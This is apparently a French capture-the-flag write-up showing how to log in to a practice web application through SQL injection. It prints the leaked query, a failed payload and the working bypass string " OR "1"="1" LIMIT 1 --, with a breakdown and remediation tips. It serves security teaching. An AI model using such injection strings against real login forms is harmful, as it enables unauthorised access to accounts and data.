Table des matières
🎯 Objectif
Se connecter à l’application web en exploitant une vulnérabilité d’injection SQL.
🔍 Découverte
En inspectant le code source de l’application, on trouve un commentaire HTML révélant la structure de la requête :
SELECT * FROM users WHERE username="[INPUT]" AND password="[INPUT]"
💉 Exploitation
Première tentative
" OR "1"="1" --
➜ Erreur : “trop de lignes sont retournées par la requête SQL”
🛠️ Solution finale
" OR "1"="1" LIMIT 1 --
Comment ça marche ?
"
ferme le guillemet de la requêteOR "1"="1"
ajoute une condition toujours vraieLIMIT 1
restreint le résultat à une seule ligne--
commente le reste de la requête
🎉 Flag
Flag obtenu après connexion réussie !
Correction
Pour sécuriser ce type de vulnérabilité :
- Utiliser des requêtes préparées
- Échapper correctement les entrées utilisateur
- Implémenter une validation côté serveur